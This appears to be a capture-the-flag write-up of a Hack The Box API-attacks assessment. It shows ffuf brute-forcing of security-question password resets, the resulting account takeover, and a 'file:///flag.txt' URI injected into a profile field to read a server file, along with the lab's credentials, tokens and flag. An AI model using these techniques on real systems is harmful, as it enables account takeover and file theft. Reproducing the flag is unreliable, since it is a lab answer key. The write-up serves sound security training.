Skills Assessment - API Attacks

Scenario

After reporting all vulnerabilities in versions v0 and v1 of Inlanefreight E-Commerce Marketplace, the admin attempted to patch all of them in v2:

image-102.png

However, new junior developers have implemented additional functionalities in v2, and the admin is concerned that they may have introduced new vulnerabilities. Assess the security of the new web API version and apply everything you have learned throughout the module to compromise it.


TARGET: 154.57.164.65:38744

Authenticate to target with username "htbpentester@hackthebox.com" and password "HTBPentester"

Challenge 1

Submit the contents of the flag at '/flag.txt'.

Discovery

First, I signed in using the provided account credentials and checked the user’s information and roles. URL: http://154.57.164.65:38744/swagger. For this I used the /customers/sign-in endpoint within the Authentication section.
2026-10-24_22-54-16.png
JWT obtained:

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlckBoYWNrdGhlYm94LmNvbSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvcm9sZSI6WyJTdXBwbGllcnNfR2V0IiwiU3VwcGxpZXJzX0dldEFsbCJdLCJleHAiOjE3OTI4NzM0NDgsImlzcyI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIiLCJhdWQiOiJodHRwOi8vYXBpLmlubGFuZWZyZWlnaHQuaHRiIn0.QfO17Z0AOZOKY3BfKrUfsQcUcb8c_lyavsbvfbGnszt8O2bFXfGzXxtxBUZ1ml4yrvOzMv5jnxhmZuLGpizKUg

Once we have been authenticated we can check our user's roles:
2026-10-24_22-57-01.png

Since we are allowed to run this, lets try by looking at the response of the GET /api/v2/suppliers endpoint:
2026-10-24_23-01-20.png

Then I scrolled in the response and I noticed some accounts (5) had the security question: "What is your favorite color?", which is easily guessable.
2026-10-24_23-05-05.png
Additionally, we know there is an API endpoint for resetting passwords using security question answers: POST /api/v2/authentication/suppliers/passwords/resets/security-question-answers
2026-10-24_23-06-55.png

Exploitation 1 (Brute-Forcing)

For the first exploit attempt, I will generate a wordlist of colors. I created colors.txt containing a lowercase and capitalized version of each color with the help of Claude using the following prompt: "Give me exhaustive list of every color, for each color you will write twice: one full lowercase and one with the first letter capitalize"
2026-10-24_23-13-01.png
This is how the colors.txt file looks:

red
Red
green
Green
blue
Blue
yellow
Yellow
orange
Orange
purple
Purple
pink
Pink
brown
Brown
black
Black
white
White
gray
Gray
grey
...

Since we can see 5 different emails that have this same security question, I will create an emails.txt file containing these emails one per line:

P.Howard1536@globalsolutions.com
L.Walker1872@globalsolutions.com
T.Harris1814@globalsolutions.com
B.Rogers1535@globalsolutions.com
M.Alexander1650@globalsolutions.com

Then, I will use ffuf to brute-force all accounts since they share the same security question. But before attempting this, I need to try some random value to get the error message to filter for.

I tried the following request:

curl -X 'POST' \
  'http://154.57.164.65:38744/api/v2/authentication/suppliers/passwords/resets/security-question-answers' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "SupplierEmail": "P.Howard1536@globalsolutions.com",
  "SecurityQuestionAnswer": "red",
  "NewPassword": "test"
}'

2026-10-24_23-22-16.png

Now we are ready to start brute forcing these email accounts. This is the ffuf command I will be using:

┌──(macc㉿kaliLab)-[~/htb/api_attacks]
└─$ ffuf -w emails.txt:EMAIL -w colors.txt:COLOR -u http://154.57.164.65:38744/api/v2/authentication/suppliers/passwords/resets/security-question-answers -X POST -H 'Content-Type: application/json' -d '{"SupplierEmail": "EMAIL", "SecurityQuestionAnswer": "COLOR", "NewPassword": "successfully found security question, and got access to an account:"}' -fr "false"

Output:

[Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 132ms]
    * COLOR: Rust
    * EMAIL: B.Rogers1535@globalsolutions.com

[Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 134ms]
    * COLOR: rust
    * EMAIL: B.Rogers1535@globalsolutions.com

:: Progress: [5420/5420] :: Job [1/1] :: 522 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

Now we can use these credentials to authenticate into the API portal, this time as a Supplier:

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IkIuUm9nZXJzMTUzNUBnbG9iYWxzb2x1dGlvbnMuY29tIiwiZXhwIjoxNzkyODc1NTA0LCJpc3MiOiJodHRwOi8vYXBpLmlubGFuZWZyZWlnaHQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiJ9.0BTsWJceb1R3vNT1eZzMNUyx6tKNS3WG4TYpUrLwIVAFicPJ_9jOpdd7-iX0q2QTfUKOM4X0a-zAUUid8i2hCg

Checking this user's roles:
2026-10-24_23-29-55.png

Exploitation 2 (SSRF)

At this point, knowing that our supplier user has no roles assigned, I tried identifying what actions could be performed without roles.

I noticed two relevant endpoints:

image-103.png

First, I attempted to upload a non-PDF file, but the server correctly validated the file extension:
2026-10-24_23-36-35.png
Then, I uploaded a PDF file, which was successfully accepted:
2026-10-24_23-39-00.png
While reviewing other API endpoints, I found an update function that allowed modifying user details, including the file path:'

{
  "SecurityQuestion": "Random question?",
  "SecurityQuestionAnswer": "test",
  "ProfessionalCVPDFFileURI": "file:///flag.txt",
  "PhoneNumber": "000000000",
  "Password": "newpassword"
}

2026-10-24_23-45-05.png

After updating the user info, I will use the GET /api/v2/suppliers/current-user/cv endpoint to retrieve the file content encoded in Base64:
image-105.png
So the Base64 encoded flag file should be:

SFRCe2YxOTBiODBjZDU0M2E4NGIyMzZlOTJhMDdhOWQ4ZDU5fQo=

To decode this Base64 code, I will use the following command:

┌──(macc㉿kaliLab)-[~]
└─$ echo "SFRCe2YxOTBiODBjZDU0M2E4NGIyMzZlOTJhMDdhOWQ4ZDU5fQo=" | base64 --decode
HTB{f190b80cd543a84b236e92a07a9d8d59}

flag: HTB